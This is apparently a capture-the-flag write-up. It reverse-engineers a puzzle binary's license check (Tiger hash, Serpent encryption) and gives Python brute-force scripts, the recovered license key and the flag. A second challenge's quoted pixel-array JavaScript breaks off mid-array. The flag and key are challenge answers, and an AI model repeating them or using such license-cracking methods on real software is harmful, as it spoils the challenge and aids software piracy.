Typically, I am no fan of reverse engineering challenges, but I liked this one very much! With the challenge comes an ELF binary “sge” and a file “gift.enc” which contains the encrypted message/flag. I used Ghidra to analyze the binary file.
The main function calls three functions if the binary file is opened correctly.
The first function (FUN_00100e2a) is for checking the license string:
The license check does mainly 4 things to evaluate if the license is correct:
- Line 15-17: the license needs to be 29 characters long
- Line 18-23: Every 6th character needs to be a dash “-“
- Line 24-27: Defines the character set for the characters between the “-“: 0-9; A-Z; a-z
- Line 30-37: Sends groups of five characters, between the “-“, to FUN_00102716 and checks the first 3 of 5 (!) if they match with the corresponding characters of the string “S4nT4s3NcrYpt0r”. 1st -> “S4n”, 2nd -> “T4s”, 3rd -> “3Nc”, 4th -> “rYp”, 5th -> “t0r”
The function FUN_00102716 must be some hashing algorithm. Let us examine this function next. One of the functions called by FUN_00102716 is this one:
We google for the constant “0xa5a5a5…” end eventually find a presentation about hash functions and there we find one function called “Tiger hash” which exactly matches our description.
We have everything to bruteforce the license-key. But first we want to understand the whole application. Let’s go back to the main function:
The main function checks the license, then calls the tiger_hash function once again with the license key (!) and sends the computed hash to the function FUN_00100b14. The next step is to look at this last unknown function, which must be the encryption function.
I highlighted the important parts of the disassembled encryption function.
- Line 65: Call to a sub-function. Where we find the actual encryption algorithm. In this function we find the constant 0x9e3779b9 which I googled for. Eventually, I found this implementation of the Serpent encryption algorithm which looked exactly like our program.
- Line 74: The tiger_hash function is called once again, with the hashed license key we called this function with. See lines 37, 69, 72 to see how the argument for the tiger_hash function is constructed.
- Line 101: The result of the tiger_hash function (hashed hash of the license key) is written to a file.
- Line 93: The filename ends with “.enc”.
- Line 106: The encrypted message is appended to the same file.
We now have figured out everything we need to solve the challenge. This program was used to encrypt a message and store it in the gift.enc file. The first bytes of the gift.enc file contain the hash of the hash of the license! The target hash:
"6385EF2616C572906C5363A990D41AA9D36AFAA02E1485A7"
I used Python and this tiger-hash library. Unfortunately, this library has a memory leak and I had to save intermediate results and resume the program after my computer killed the program because of Out of Memory errors.
In this first Python script I collect all possible groups of 5 for our license key. As for every group the hash is calculated and the first 3 characters are compared with the corresponding part in the string “S4nT4s3NcrYpt0r”.
import hashlib from tiger import tiger from itertools import chain, product, islice from binascii import hexlify import string t = [b"S",b"4",b"n",b"T",b"4",b"s",b"3",b"N",b"c",b"r",b"Y",b"p",b"t",b"0",b"r"] charset = string.ascii_letters + string.digits START_VALUE = [4, 764688524] o = 0 parts = [] while (o < 0x1d): i = 0 st = b"" while(i < 3): x = int(i + (o / 6) * 3) st += t[x] i += 1 parts.append(st) o += 6 print(parts) def convertTuple(tup): str = '' for item in tup: str = str + item return str solutions = [] parts = islice(parts, START_VALUE[0], None) for c, part in enumerate(parts, start=START_VALUE[0]): print(part) ref = hexlify(part).lower() all_combos = product(charset, repeat=5) combos = islice(all_combos, START_VALUE[1], None) sol = [] for i,current in enumerate(combos, start=START_VALUE[1]): tmp = convertTuple(''.join(current)).encode("utf8") h = tiger(tmp).hexdigest()[:6] if (h == ref): sol.append(tmp) START_VALUE[1] = i print("Found!") print("Test: " + str(tmp)) print("Hash: " + str(h)) print("ToBeFound: " + ref) print("Solution: " + str(sol)) print("All possibilities: " + str(solutions)) print(START_VALUE) print("---") solutions.append(sol) START_VALUE = [c+1, 0]
In the second script I calculate the correct license out of all possible groups which I generated before. This way we get back the license which was used to write the gift.enc file.
import hashlib import tiger from itertools import chain, product, islice from binascii import hexlify import string target_hash = "6385EF2616C572906C5363A990D41AA9D36AFAA02E1485A7" START_VALUE = 25 group1 = ['adlsB', 'coFWX', 'dAVjd', 'eqvsO', 'gyfiM', 'gDaZS', 'gIT3S', 'hsotk', 'itmd8', 'juIhA', 'kVDgs', 'ot5ke', 'o3rKT', 'o4YUM', 'tYHqG', 'uPfTb', 'uUxaL', 'uVJTg', 'vohtO', 'vYE7S', 'x8U0P', 'yUokP', 'zdvgw', 'BXb55', 'Fumzi', 'Gi2vt', 'Gr16b', 'G007k', 'JxrBh', 'MDgmm', 'MKHsL', 'NtkxJ', 'P3J7T', 'SNmHu', 'TuA2q', 'T7yjy', 'UlwxL', 'UreDP', 'U0rOF', 'VbVZM', 'V3obI', 'WFego', 'ZSWc9', '2gLoy', '2Aqll', '3AQfq', '7Fy7d', '8pasV'] group2 = ['bnXWw', 'cfr8M', 'ctl8u', 'ddmFi', 'eAA82', 'eUeDp', 'eXn2h', 'fgaRU', 'fO9Rt', 'iXpFk', 'kECUl', 'lVkn8', 'l5Bve', 'ma5a6', 'mjhEz', 'm2iX2', 'nbMi8', 'oqOJe', 'rx6C3', 'tt4w2', 'tSSW5', 't9ilq', 'uRZXH', 'u51ZZ', 'vL7It', 'xMtqG', 'ytB9l', 'yJsK2', 'APM7L', 'A3PM0', 'A4ifz', 'A7368', 'CIost', 'DvIZk', 'D8yjm', 'EbkvT', 'EwNHN', 'FMwBO', 'IGm3M', 'JGk2f', 'J9eRW', 'OUSxb', 'QFhcz', 'Riazr', 'RAGLI', 'Sd5gV', 'SulIF', 'TwEDx', 'TI3CF', 'TP5Zo', 'UKiVs', 'VwoN6', 'VR4Hu', 'XhF9Y', '1RKc2', '2c2Kt', '2kwdU', '2wA68', '2x11q', '4uHIW', '42a9V', '6rLr9', '6stx2', '63zRg', '8jIpC'] group3 = ['azD5T', 'a0Pc4', 'csWhR', 'fiixd', 'fp79w', 'fOKC5', 'gdrFr', 'ieUt4', 'iOAMl', 'kfOy5', 'n9yiN', 'qDVZ5', 'qKB1V', 'r5xAG', 'sivTf', 'tLFTx', 'uDM8s', 'vOIzV', 'xmpWp', 'zIx0G', 'BAYEj', 'DtC4I', 'DvE2a', 'DVk9a', 'ElnXm', 'FTpcE', 'GKhdq', 'GVanO', 'G0p1a', 'HQboL', 'Nvv07', 'NGdwR', 'Otk5A', 'OAM1e', 'PeN1g', 'P66qO', 'QmupY', 'QN4lW', 'SjqYr', 'Skiv5', 'TYDLC', 'UE7A2', 'WssIl', 'WK8eQ', 'XwgNE', 'XDh6A', 'ZdOP9', 'ZfSdH', 'ZhScA', 'ZE1gc', '13XB7', '3cOM8', '31SHQ', '41Itd', '5tnCy', '5RXrU', '8BBSg', '9nzmk', '9CIrU'] group4 = ['bPDoZ', 'fthoz', 'jqEML', 'nlUcI', 'pT3NQ', 'pZFRf', 'quvHH', 's0B4F', 'tIxoq', 'uRWYx', 'vRnkK', 'ySLHn', 'CXcQj', 'DhdFn', 'D0t0J', 'Fts7Y', 'GbzeZ', 'KMG5Y', 'Mm6xs', 'MzKLg', 'OCD3u', 'PkwYk', 'PXF7S', 'Q5Ozd', 'Xkl6J', 'XUnff', 'Y6KPZ', 'Zrlrl', '2fwBV', '2sMn6', '34PVW', '4lZzZ', '4nhP3', '6jraV', '82qlS'] group5 = ['af79P', 'ayyIr', 'boeRp', 'bUNP2', 'd6yQz', 'elYSP', 'gKshj', 'gU7R8', 'idzju', 'iVa5n', 'jtuG0', 'jMUal', 'nHq5j', 'oQfpM', 'oVLfh', 'o0Q24', 'puNbJ', 'u59v1', 'wtSLl', 'xoZ7j', 'xLgEy', 'yk4fu', 'yFSk6', 'yKMxT', 'yXUyL', 'zJbW3', 'zMFUD', 'BM2Xl', 'BWAhp', 'CtBSX', 'CwyDD', 'DYDeW', 'EQrOx', 'HhyG6', 'KkarB', 'KIRjh', 'LEizD', 'MwTiP', 'O17sm', 'PyYyE', 'QpxUh', 'TLtVK', 'UXhjd', 'VVEMT', 'VWjdf', 'Xob7u', 'ZUIz2', '2FM38', '23WOp', '3jLb2', '3r8UN', '5KM4W', '51y3N', '74CDh', '8LWcr', '9uBTE', '9Hb8Z'] def bruteforce(): grpslice = islice(group1, START_VALUE, None) for x, a in enumerate(grpslice, start=START_VALUE): print("[+] Iteration number: " + str(x)) for b in group2: for c in group3: for d in group4: for e in group5: license = a + "-" + b + "-" + c + "-" + d + "-" + e ## double hash h = tiger.tiger(license.encode("utf8")).digest() ## - make sure to hash the bytes and not the hexstring! h = tiger.tiger((h)).hexdigest().upper() if h == target_hash: print("[!! Target Hash Found - exit !!]") print("[> License Hash: " + h) print("[> Target Hash : " + target_hash) print("[>> Correct License is: " + license) return bruteforce()
The license key which was used is: TuA2q-kECUl-n9yiN-82qlS-af79P. This license key hashed with tiger is our key to decrypt the gift.enc file.
We need to remove the target hash from the file:
Next is to calculate the tiger-hash of the license key, which results in:
3147c884a90f10cea8664a5133cc5ae313b04d8271a534ad
And finally I used this online-tool to decrypt the file.
Flag
HV21{all_children_thank_you_for_saving_their_gifts}
[HV21.23] Pixel Perfect
Thanks!
This challenge is brought to you by Dr Nick. Quite post-modern, isn’t it?
Introduction
Finally, Santa has decided to reply to the Easter Bunny. He created a message scrolling across the screen and asked one of the elves to send it, but it seems they’ve sent it via a very low resolution channel.
Please connect to the following pixelization service
Goal
Because it’s almost Christmas, neither Santa nor the elves have time now, so… Would you mind restoring the message and forwarding to the Easter Bunny? I mean, if that’s even possible!
Solution
This challenge was hard, mostly because it was very “guessy”… Consequently, I didn’t like this challenge at all. The source code of the JavaScript part within the website looks like this:
var canvas = document.getElementById("canvasPixelization"); var context = canvas.getContext("2d"); let digits = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,4,4,4,4,4,4,4,0,0,0,0,4,4,4,4,4,4,4,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,12,12,12,12,12,12,12,4,0,0,4,12,12,12,12,12,12,12,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,20,24,28,32,36,40,44,36,32,32,36,44,40,36,32,28,24,20,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,28,36,44,52,60,68,76,68,64,64,68,76,68,60,52,44,36,28,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,36,48,60,72,84,96,108,100,96,96,100,108,96,84,72,60,48,36,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,40,52,64,76,88,104,116,104,100,100,104,116,104,88,76,64,52,40,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,40,52,64,76,88,108,120,108,104,104,108,120,108,88,76,64,52,40,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,40,52,64,76,88,112,124,112,108,108,112,124,112,88,76,64,52,40,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,40,52,64,76,88,116,128,116,112,112,116,128,116,88,76,64,52,40,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,40,52,64,76,88,120,132,120,116,116,116,128,116,84,72,60,48,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,40,52,64,76,88,120,132,120,116,116,116,128,116,84,72,60,48,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,40,52,64,76,88,120,132,120,116,116,116,128,116,84,72,60,48,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,40,52,64,76,88,120,132,120,116,116,116,128,116,84,72,60,48,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,40,52,64,76,88,116,128,116,112,112,112,124,112,84,72,60,48,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,28,44,56,68,80,92,116,128,112,108,108,108,120,108,84,72,60,48,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,52,64,76,88,100,120,132,112,104,104,104,116,104,84,72,60,48,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,56,72,84,96,108,124,136,116,104,100,100,108,96,80,68,56,44,32,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,56,76,92,108,120,132,144,124,112,104,100,100,88,76,64,52,40,28,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,56,76,92,108,120,132,140,116,100,88,80,76,64,52,44,36,28,20,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,52,68,84,100,112,124,132,108,92,80,68,60,48,36,28,20,16,12,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,48,60,72,84,96,108,116,92,80,72,60,52,40,28,20,12,8,4,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,28,44,56,68,80,92,104,116,100,92,88,80,72,60,48,36,24,16,8,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,40,52,64,76,88,100,112,100,96,96,92,88,76,64,52,40,28,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,32,44,56,68,80,92,108,104,108,112,108,104,92,80,64,48,32,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,28,36,48,64,80,96,116,116,124,132,128,120,104,88,68,48,32,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,28,36,48,64,84,104,124,124,132,140,136,128,108,88,68,48,32,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,28,36,48,60,76,92,112,112,120,128,124,120,104,88,68,48,32,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,32,40,48,56,68,80,96,92,96,104,104,104,92,80,64,48,32,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,32,40,48,56,64,72,84,76,76,80,80,80,72,64,52,40,28,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,32,40,52,60,68,76,84,72,68,68,60,60,52,44,36,28,20,12,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,36,48,64,72,80,88,96,84,72,64,52,52,44,36,28,20,16,12,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,44,56,72,80,88,96,100,80,60,52,44,48,40,32,28,24,24,20,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,48,60,76,80,84,88,88,64,44,40,36,48,44,40,40,40,36,28,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,48,56,68,68,68,68,68,48,32,32,36,56,56,56,56,52,44,36,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,48,52,60,60,60,60,64,48,32,36,48,72,72,72,68,60,52,44,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,48,56,68,72,76,80,88,72,56,56,68,92,88,84,76,68,60,52,28,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,48,60,76,84,92,100,108,96,76,72,84,108,100,92,84,76,68,60,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,48,64,80,92,100,108,116,104,84,76,92,112,104,96,88,80,72,64,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,44,56,68,80,88,96,104,92,76,72,88,104,96,88,80,72,64,56,28,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,36,48,60,72,80,88,96,88,76,68,80,92,84,76,68,60,52,48,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,28,40,52,64,72,80,88,84,72,60,68,76,68,60,52,44,40,40,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,24,36,48,60,68,76,84,80,64,52,56,64,56,48,40,36,36,36,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,20,32,44,56,64,72,76,72,56,44,44,52,44,36,32,32,32,32,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,20,32,44,56,64,72,76,76,64,56,56,64,56,48,44,40,36,32,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,24,36,48,60,68,76,84,84,76,72,72,80,72,64,56,48,40,32,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,24,32,40,48,56,64,72,72,64,64,68,80,72,64,56,48,40,32,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,24,32,40,48,56,64,72,72,64,64,68,84,76,68,60,52,44,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,24,32,40,48,56,64,72,72,64,64,68,84,76,68,60,52,44,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,24,32,40,48,56,64,72,72,64,64,68,84,76,68,60,52,44,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,28,36,44,52,60,68,68,64,64,68,80,72,64,56,48,40,32,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,16,24,32,40,48,56,64,64,64,64,68,76,68,60,52,44,36,28,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,8,12,16,20,24,28,32,32,32,32,36,44,40,36,32,28,24,20,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,8,8,8,12,20,20,20,16,12,12,12,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,8,12,16,16,20,28,36,36,32,32,36,40,40,32,24,20,20,16,8,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,20,28,36,40,48,56,60,60,56,56,56,60,60,56,48,40,36,28,20,12,4,0,0,0,0,0,0,0,0,0,0,0,0,4,12,20,32,44,56,64,72,76,76,76,72,72,72,76,76,76,72,64,56,44,32,20,12,4,0,0,0,0,0,0,0,0,0,0,0,8,16,24,36,48,60,68,76,76,76,76,72,72,72,76,76,76,76,68,60,48,36,24,16,8,0,0,0,0,0,0,0,0,0,0,0,8,16,24,36,48,60,68,76,76,76,76,72,72,72,76,76,76,76,68,60,48,36,24,16,8,0,0,0,0,0,0,0,0,0,0,0,8,20,28,40,52,64,72,80,80,76,76,72,72,76,80,80,80,80,72,64,52,36,24,16,8,0,0,0,0,0,0,0,0,0,0,0,8,24,32,44,56,68,76,84,84,76,76,72,72,80,84,84,84,84,76,68,56,36,24,16,8,0,0,0,0,0,0,0,0,0,0,0,8,28,40,56,72,88,100,112,112,100,100,96,96,104,104,100,100,100,88,76,60,36,24,16,8,0,0,0,0,0,0,0,0,0,0,0,8,32,44,60,76,92,108,120,120,104,104,104,104,112,104,96,96,96,84,68,52,28,20,16,8,0,0,0,0,0,0,0,0,0,0,0,8,32,44,60,76,92,108,120,124,112,112,112,112,120,108,96,88,84,72,56,40,16,12,12,8,0,0,0,0,0,0,0,0,0,0,0,4,28,40,52,64,76,88,104,112,100,100,100,100,112,100,84,72,64,52,40,28,4,4,4,4,0,0,0,0,0,0,0,0,0,0,0,0,28,40,52,64,76,88,108,120,104,104,104,104,120,108,88,76,64,52,40,28,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,48,60,72,84,100,124,136,116,112,112,112,128,112,88,76,64,52,40,28,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,52,68,84,100,120,148,160,140,132,128,124,132,112,84,72,60,48,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,56,76,96,116,140,172,184,164,152,144,136,136,112,80,68,56,44,32,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,28,52,72,92,112,136,164,172,152,136,124,112,108,84,56,48,40,32,24,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,44,60,76,92,112,136,140,120,104,92,80,76,56,32,28,24,20,16,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,36,48,60,72,88,108,108,88,72,60,48,44,28,8,8,8,8,8,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,32,44,56,68,84,100,100,84,68,56,44,36,20,4,4,4,4,4,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,32,44,56,68,84,96,96,84,64,52,40,32,16,4,4,4,4,4,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,32,48,64,80,96,108,112,104,88,76,64,56,40,28,24,20,16,12,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,32,48,64,80,96,108,116,112,100,92,84,80,64,52,44,36,28,20,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,32,48,64,80,96,108,120,120,112,108,104,104,88,76,64,52,40,28,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,28,40,52,64,76,88,100,100,96,96,96,104,92,80,68,56,44,32,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,28,40,52,64,76,88,100,100,96,96,96,104,92,80,68,56,44,32,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,28,40,52,64,76,88,100,100,96,96,96,104,92,80,68,56,44,32,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,28,40,52,68 ,80,92,104,104,100,100,100,108,96,84,72,60,48,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,24,36,48,68,84,96,108,108,108,108,112,116,100,88,76,64,52,40,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,16,24,32,52,68,80,88,88,88,92,100,104,88,76,68,60,52,40,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,8,12,16,36,52,64,72,72,76,84,92,96,80,68,60,56,48,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,36,48,56,60,68,76,84,84,68,56,48,44,36,28,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,36,52,64,72,84,92,100,96,80,64,52,44,32,24,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,44,64,80,92,108,120,132,128,108,88,72,60,44,32,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,28,52,76,92,104,124,140,156,152,128,104,88,76,56,40,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,28,56,80,96,108,128,148,168,164,136,112,96,84,64,44,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,28,52,76,92,104,124,144,164,160,136,112,96,84,64,44,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,44,64,80,92,112,128,144,144,124,104,88,76,56,40,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,36,56,72,88,108,124,140,140,124,104,88,72,52,36,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,32,52,68,84,104,124,144,148,132,112,96,80,60,40,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,40,56,72,84,100,124,148,152,132,116,100,88,72,48,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,36,48,64,72,84,104,128,132,116,104,88,80,68,48,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,36,44,64,72,80,96,120,124,108,100,80,72,64,48,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,36,48,72,80,88,100,124,128,112,100,76,68,60,48,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,40,56,84,92,100,116,140,140,120,104,76,68,60,44,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,44,64,96,104,116,136,160,156,132,112,80,72,60,40,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,44,60,88,92,100,116,140,136,112,96,68,64,56,40,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,4,4,4,24,44,56,80,76,80,92,112,112,92,80,56,56,52,40,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,16,20,24,44,64,80,100,96,100,108,124,124,104,88,64,60,52,40,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,28,36,44,64,88,108,124,120,124,132,144,144,120,100,76,68,56,40,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,28,40,52,64,84,108,132,144,140,144,152,160,160,136,112,88,76,60,40,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,28,40,52,64,80,100,120,128,124,128,136,140,144,124,104,84,72,56,36,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,28,40,52,64,76,92,108,112,108,112,116,116,128,112,96,80,68,52,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,28,40,52,64,80,96,108,108,104,104,104,108,120,104,92,80,68,56,44,28,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,36,48,60,72,92,112,128,128,124,128,132,140,152,132,116,100,84,68,52,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,40,52,64,76,100,124,144,144,144,152,160,172,180,156,136,116,96,76,56,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,32,40,48,56,76,96,112,112,112,120,128,140,152,132,116,100,84,68,52,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,24,28,32,36,52,68,80,80,80,88,96,108,124,108,96,84,72,60,48,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,16,16,16,16,32,48,56,56,56,64,72,88,104,88,80,72,64,56,48,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,16,16,16,16,36,56,64,64,64,72,84,104,116,96,88,80,72,64,52,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,16,16,16,16,40,60,68,68,68,80,96,120,128,108,100,92,84,72,56,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,16,16,16,16,40,56,64,68,72,88,108,128,136,120,112,100,88,72,52,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,8,8,8,8,32,44,52,60,68,84,100,116,124,112,104,92,80,64,48,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,36,44,56,64,76,88,100,108,96,88,76,68,56,44,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,28,44,56,68,76,88,100,112,116,100,88,76,68,56,44,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,52,64,76,84,96,112,128,128,108,96,84,76,64,48,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,28,44,56,68,80,92,108,120,120,104,92,80,68,56,40,28,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,36,52,68,84,100,112,120,120,108,92,76,60,44,32,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,36,56,76,96,112,120,124,124,108,88,68,48,32,24,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,40,60,76,96,112,116,120,116,96,76,60,40,24,20,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,8,28,48,64,76,96,112,112,112,104,84,68,56,36,20,16,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,20,36,52,64,72,96,112,108,104,96,80,68,60,36,16,12,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,24,36,52,68,80,92,116,132,128,124,116,100,88,76,48,24,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,36,52,68,84,100,116,140,156,148,140,132,116,100,84,52,24,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,36,52,68,84,100,116,140,160,152,144,136,120,104,88,56,24,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,36,52,68,84,96,108,132,152,144,136,128,112,100,88,56,24,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,36,52,72,84,92,100,120,136,128,120,108,96,88,80,52,24,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,36,56,76,84,92,100,116,128,120,108,96,88,80,72,48,24,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,36,56,76,88,100,112,128,140,136,128,120,108,96,84,60,36,24,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,36,56,80,96,112,128,144,156,156,152,144,128,112,96,72,48,32,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,24,40,64,76,88,100,116,128,128,128,120,108,96,84,64,44,32,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,24,48,56,64,72,88,100,100,104,96,88,80,72,56,40,32,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,24,48,56,64,72,84,92,92,96,88,80,72,64,52,40,32,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,2